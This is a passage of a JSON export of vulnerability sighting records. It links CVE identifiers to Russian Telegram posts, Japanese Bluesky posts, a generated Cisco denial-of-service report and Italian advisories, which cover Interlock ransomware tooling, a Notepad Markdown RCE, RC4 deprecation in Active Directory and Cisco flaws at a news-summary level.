\u0444\u043e\u0440\u044b, \u041a\u0430\u0440\u043b! \n\n\u0421\u043f\u0430\u043b\u0438\u043b\u0438 \u0432\u0441\u044e \u043c\u0430\u043b\u0438\u043d\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0438 \u0438\u0437 Amazon Threat Intelligence. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043d\u0438 \u043f\u043e\u0439\u043c\u0430\u043b\u0438 \u0441\u043a\u0430\u043d\u044b \u043d\u0430 \u0441\u0432\u043e\u044e \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u043b\u043e\u0432\u0443\u0448\u0435\u043a-\u0445\u0430\u043d\u0438\u043f\u043e\u0442\u043e\u0432 (MadPot), \u0430 \u043f\u043e\u0442\u043e\u043c \u0438\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0430\u0437\u043e\u0447\u043d\u043e \u043f\u043e\u0432\u0435\u0437\u043b\u043e... \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0437 Interlock \u043a\u0440\u0438\u0432\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u0432 \u0435\u0433\u043e \u043d\u0430\u0440\u0443\u0436\u0443 \ud83d\udca9\n\n\u0410\u043c\u0430\u0437\u043e\u043d\u043e\u0432\u0446\u044b \u0442\u0443\u0434\u0430 \u0437\u0430\u043b\u0435\u0437\u043b\u0438 \u0438 \u0441\u0434\u0430\u043c\u043f\u0438\u043b\u0438 \u0432\u0441\u0451 \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e. \u0412\u043d\u0443\u0442\u0440\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430\u0441\u044c \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a\u0438.. \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0435 \u0442\u0440\u043e\u044f\u043d\u044b \u043d\u0430 JS \u0438 Java, \u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u043d\u044b\u0435 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b (\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0438\u0441\u044f\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u0435 \u0438 \u043d\u0435 \u0433\u0430\u0434\u044f\u0442 \u043d\u0430 \u0434\u0438\u0441\u043a) \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438. \u0414\u043b\u044f \u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0435\u0449\u0435 \u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u043e\u0444\u0442 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ConnectWise ScreenConnect) - \u0442\u0443\u043f\u043e \u043f\u0440\u043e \u0437\u0430\u043f\u0430\u0441, \u043a\u0430\u043a \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u043a\u0443 \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0430\u0439\u0434\u0443\u0442 \u0438 \u0441\u043d\u0435\u0441\u0443\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0431\u044d\u043a\u0434\u043e\u0440. \n\n\u041c\u043e\u0440\u0430\u043b\u044c \u0441\u0435\u0439 \u0431\u0430\u0441\u043d\u0438 \u0441\u0442\u0430\u0440\u0430 \u043a\u0430\u043a \u043c\u0438\u0440... \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0441\u0432\u0435\u0442\u0438\u0442\u0435 \u0430\u0434\u043c\u0438\u043d\u043a\u0438 (\u0434\u0430\u0436\u0435 \u043e\u0442 \u0441\u0435\u043a\u044c\u044e\u0440\u043d\u044b\u0445 \u0444\u0430\u0435\u0440\u0432\u043e\u043b\u043e\u0432) \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442. \n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2026-03-31T18:10:59.000000Z"}, {"uuid": "f86fced7-c5c5-4208-9b61-122f6e8f04e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/sysodmins/28266", "content": "\u0412 Notepad \u043d\u0430\u0448\u043b\u0438 RCE \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c 8.8 \ud83d\udc68\u200d\ud83d\udd2c\n\n\u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0435\u0435, \u0447\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b? \u041d\u043e MS \u0432 \u043f\u043e\u0433\u043e\u043d\u0435 \u0437\u0430 \u0442\u0440\u0435\u043d\u0434\u0430\u043c\u0438 \u0434\u043e\u0431\u0438\u043b\u0430\u0441\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e. \u0412 \u0411\u043b\u043e\u043a\u043d\u043e\u0442\u0435 \u0434\u043b\u044f Win 11 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20841 (8.8 \u0438\u0437 10), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043b\u0435\u0432\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043d\u043e\u0432\u043e\u0439 \u043c\u043e\u0434\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0435 Markdown. Microsoft \u0442\u0430\u043a \u0442\u043e\u0440\u043e\u043f\u0438\u043b\u0430\u0441\u044c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0411\u043b\u043e\u043a\u043d\u043e\u0442 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u0418\u0418-\u0444\u0438\u0447\u0438 Copilot, \u0447\u0442\u043e \u0437\u0430\u0431\u044b\u043b\u0430 \u043f\u0440\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a... \u0432\u0430\u043c \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u044e\u0442 \u0444\u0430\u0439\u043b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, README.md), \u0432\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0435 \u0435\u0433\u043e, \u043a\u043b\u0438\u043a\u0430\u0435\u0442\u0435 \u043f\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 \u0438 \u043f\u0440\u0438\u0432\u0435\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f. \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b, \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041f\u0430\u0442\u0447 \u0443\u0436\u0435 \u0432\u044b\u0448\u0435\u043b \ud83d\ude2c\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2026-02-12T01:23:26.000000Z"}, {"uuid": "c2d5bc11-08f2-4eb4-aecd-65ae3fd8762c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20035", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3ml7guk2ryo2v", "content": "Cisco Unity Connection Web Inbox\u306eWeb UI\u306b\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u304cSSRF\u653b\u6483\u3092\u5b9f\u884c\u3067\u304d\u308b\u8106\u5f31\u6027\u304c\u3042\u308b\u3002\u3053\u308c\u306f\u3001HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u304c\u539f\u56e0\u2026\nCVE-2026-20035 CVSS 7.2 | HIGH", "creation_timestamp": "2026-05-06T19:31:15.938146Z"}, {"uuid": "6bcfcb81-f153-40de-a98e-51a94f5af764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://t.me/sysodmins/28117", "content": "\ud83d\udd11 Microsoft \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 1987 \u0433\u043e\u0434\u0430 \u0432 Active Directory\n\nMicrosoft \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043b\u0430\u043d\u043e\u0432\u0443\u044e \u0437\u0430\u0447\u0438\u0441\u0442\u043a\u0443 Active Directory \u043e\u0442 \u0434\u0440\u0435\u0432\u043d\u0435\u0433\u043e \u0438 \u0434\u044b\u0440\u044f\u0432\u043e\u0433\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f RC4, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e \u0434\u0435\u0444\u043e\u043b\u0442\u0443 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0412 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043f\u0430\u0442\u0447\u0435 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20833, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0431\u0440\u0443\u0442\u0438\u0442\u044c \u0441\u043b\u0430\u0431\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043e\u043a. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0434\u043e\u043c\u0435\u043d\u0430 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c AES-SHA1.\n\n\u0421\u0445\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0442\u0440\u0435\u0445\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f (\u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u043f\u0440\u043e\u0434 \u0441\u0440\u0430\u0437\u0443 \ud83c\udfa9):\n\ud83d\udfe2\u042f\u043d\u0432\u0430\u0440\u044c 2026. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442. \u0412 \u043b\u043e\u0433\u0430\u0445 \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e (\u043f\u0440\u0438\u043d\u0442\u0435\u0440, \u0441\u0442\u0430\u0440\u044b\u0439 NAS \u0438\u043b\u0438 \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u044b\u0439 \u0441\u043e\u0444\u0442) \u043f\u043e\u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0442\u0438\u043a\u0435\u0442 \u0441 RC4.\n\ud83d\udfe2\u0410\u043f\u0440\u0435\u043b\u044c 2026. \u0414\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f, \u0438 KDC \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c AES-\u0442\u0438\u043a\u0435\u0442\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445, \u0443 \u043a\u043e\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0438\u043d\u043e\u0435.\n\ud83d\udfe2\u0418\u044e\u043b\u044c 2026. \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 RC4DefaultDisablementPhase \u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f, \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0434\u043e\u043c\u0435\u043d\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0436\u0435\u0441\u0442\u043a\u043e \u0440\u0435\u0434\u0436\u0435\u043a\u0442\u0438\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c RC4, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e \u044f\u0432\u043d\u043e.\n\n\u041f\u0430\u0442\u0447\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u0435\u0442\u0435\u043b\u0438 \u043d\u0430 \u0432\u0435\u0441\u044c \u0437\u043e\u043e\u043f\u0430\u0440\u043a \u041e\u0421. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0433\u0440\u0435\u043f\u0430\u0435\u043c Event ID 205. \u0415\u0441\u043b\u0438 \u0441\u044b\u043f\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438, \u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0443 \u0432\u0430\u0441 \u0432 \u0441\u0435\u0442\u0438 \u0435\u0441\u0442\u044c \u043b\u0435\u0433\u0430\u0441\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0443\u0436\u043d\u043e \u043b\u0438\u0431\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c, \u043b\u0438\u0431\u043e \u043f\u043e\u0445\u043e\u0440\u043e\u043d\u0438\u0442\u044c \u0441 \u043f\u043e\u0447\u0435\u0441\u0442\u044f\u043c\u0438 \u26b0\ufe0f\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83c\udf84 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2026-01-21T09:14:38.000000Z"}, {"uuid": "7e3b98c1-140e-465a-b622-8d57bbaa4c84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3ms6wctu75b25", "content": "\ud83d\udce2 CISA WARNING: A static credential flaw in Cisco Secure Firewall Management Center (CVE-2026-20316) is actively exploited. The flaw allows unauthorized access. CISA adds it to KEV catalog, mandating federal action. #CVE202620316 #Cisco #KEV\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-08-03T16:31:23.358431Z"}, {"uuid": "9fd74646-39b5-42c8-a9f0-68495fd8eb41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3ml7gsmblgz2k", "content": "Cisco Unity Connection\u306eWeb\u7ba1\u7406\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306b\u8106\u5f31\u6027\u304c\u3042\u308a\u3001\u8a8d\u8a3c\u3055\u308c\u305f\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u304c\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-20034 CVSS 8.8 | HIGH", "creation_timestamp": "2026-05-06T19:30:10.781070Z"}, {"uuid": "71c7e32d-6eee-4590-ab8e-7bef29d06809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20167", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3ml7gx7ppwt2e", "content": "Cisco IoT Field Network Director\u306eWeb\u7ba1\u7406\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306b\u8106\u5f31\u6027\u3002\u8a8d\u8a3c\u3055\u308c\u305f\u4f4e\u6a29\u9650\u306e\u653b\u6483\u8005\u304c\u3001\u4e0d\u6b63\u306a\u30d5\u30a1\u30a4\u30eb\u3092\u8981\u6c42\u3059\u308b\u3053\u3068\u3067\u3001\u30eb\u30fc\u30bf\u30fc\u3092\u518d\u8d77\u52d5\u3055\u305bDoS\u72b6\u614b\u3092\u5f15\u304d\u2026\nCVE-2026-20167 CVSS 7.7 | HIGH", "creation_timestamp": "2026-05-06T19:32:46.754416Z"}, {"uuid": "86e4e865-8b05-40bc-aca4-e43c03efb99d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://gist.github.com/alon710/5e7a089b86902e99e4adccfbe27cb531", "content": "# CVE-2026-20188: CVE-2026-20188: Uncontrolled Resource Consumption in Cisco CNC and NSO\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-05-06\n> **Full Report:** https://cvereports.com/reports/CVE-2026-20188\n\n## Summary\nCisco Crosswork Network Controller (CNC) and Cisco Network Services Orchestrator (NSO) contain a high-severity denial-of-service vulnerability due to inadequate connection rate limiting. Exploitation results in resource exhaustion requiring a manual reboot for recovery.\n\n## TL;DR\nCVE-2026-20188 is an unauthenticated, remote denial-of-service vulnerability (CVSS 7.5) in Cisco CNC and NSO. An attacker can exhaust system connections, causing application unresponsiveness that persists until a manual system reboot.\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network\n- **CVSS v3.1**: 7.5\n- **Impact**: Persistent Denial of Service\n- **Exploit Status**: None (Unexploited)\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Cisco Crosswork Network Controller (CNC)\n- Cisco Network Services Orchestrator (NSO)\n- **Cisco Crosswork Network Controller**: <= 7.1 (Fixed in: `7.2`)\n- **Cisco Network Services Orchestrator**: <= 6.3 (Fixed in: `6.5`)\n- **Cisco Network Services Orchestrator**: 6.4 (Fixed in: `6.4.1.3`)\n\n## Mitigation\n\n- Apply vendor-provided patch upgrades\n- Implement network-level connection rate limiting at upstream firewalls\n- Restrict network access to management interfaces using explicit allowlists\n- Monitor ingress ports for unusual TCP connection spikes\n\n**Remediation Steps:**\n1. Identify the current software version of Cisco CNC or NSO running in the environment.\n2. Download the applicable fixed release (CNC 7.2+, NSO 6.4.1.3, or NSO 6.5+).\n3. Schedule a maintenance window and provision backup snapshots.\n4. Apply the software update according to Cisco's official upgrade procedures.\n5. Verify system stability and test management interface connectivity post-upgrade.\n\n## References\n\n- [Cisco Security Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nso-dos-7Egqyc)\n- [NVD Record](https://nvd.nist.gov/vuln/detail/CVE-2026-20188)\n- [BleepingComputer Technical Article](https://www.bleepingcomputer.com/news/security/new-cisco-dos-flaw-requires-manual-reboot-to-revive-devices/)\n- [CVE.org Details](https://www.cve.org/CVERecord?id=CVE-2026-20188)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-20188) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-05-07T05:20:29.000000Z"}, {"uuid": "2ca92de3-0741-4fa9-82e5-2cc418e60947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20167", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-24", "content": "", "creation_timestamp": "2026-05-07T00:53:19.000000Z"}, {"uuid": "272f9efe-5875-47e7-8ea6-1489b8ef1728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-24", "content": "", "creation_timestamp": "2026-05-07T00:53:19.000000Z"}, {"uuid": "038db304-9518-4c0e-b041-b836573f4026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20185", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-24", "content": "", "creation_timestamp": "2026-05-07T00:53:19.000000Z"}, {"uuid": "0281f604-5ab6-4a3c-8043-f1a9cdcd5f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-24", "content": "", "creation_timestamp": "2026-05-07T00:53:19.000000Z"}, {"uuid": "272c6865-e39c-40bb-89dd-59195a3d38d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20035", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-24", "content": "", "creation_timestamp": "2026-05-07T00:53:19.000000Z"}, {"uuid": "d118da33-660a-44e6-ad7e-6337f5df6904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbh2zrqup2k", "content": "\ud83d\udd17 CVE : CVE-2026-20034, CVE-2026-20035, CVE-2026-20167, CVE-2026-20168, CVE-2026-20169, CVE-2026-20185, CVE-2026-20188", "creation_timestamp": "2026-05-07T14:40:13.041001Z"}, {"uuid": "311d0b3a-4908-46ab-84b5-b2aaa477b185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20035", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbh2zrqup2k", "content": "\ud83d\udd17 CVE : CVE-2026-20034, CVE-2026-20035, CVE-2026-20167, CVE-2026-20168, CVE-2026-20169, CVE-2026-20185, CVE-2026-20188", "creation_timestamp": "2026-05-07T14:40:13.193135Z"}, {"uuid": "c383aa3f-19c0-4670-b5b7-a1048faaf2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20167", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbh2zrqup2k", "content": "\ud83d\udd17 CVE : CVE-2026-20034, CVE-2026-20035, CVE-2026-20167, CVE-2026-20168, CVE-2026-20169, CVE-2026-20185, CVE-2026-20188", "creation_timestamp": "2026-05-07T14:40:13.318118Z"}, {"uuid": "ee4bb6f4-4bb9-475b-ab56-26e046609079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20168", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbh2zrqup2k", "content": "\ud83d\udd17 CVE : CVE-2026-20034, CVE-2026-20035, CVE-2026-20167, CVE-2026-20168, CVE-2026-20169, CVE-2026-20185, CVE-2026-20188", "creation_timestamp": "2026-05-07T14:40:13.518310Z"}, {"uuid": "16faa1f3-da95-4d9c-a84c-f90f58b60560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20169", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbh2zrqup2k", "content": "\ud83d\udd17 CVE : CVE-2026-20034, CVE-2026-20035, CVE-2026-20167, CVE-2026-20168, CVE-2026-20169, CVE-2026-20185, CVE-2026-20188", "creation_timestamp": "2026-05-07T14:40:13.725844Z"}, {"uuid": "6794e009-982d-4070-842d-7c77b768c8c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20185", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbh2zrqup2k", "content": "\ud83d\udd17 CVE : CVE-2026-20034, CVE-2026-20035, CVE-2026-20167, CVE-2026-20168, CVE-2026-20169, CVE-2026-20185, CVE-2026-20188", "creation_timestamp": "2026-05-07T14:40:13.930617Z"}, {"uuid": 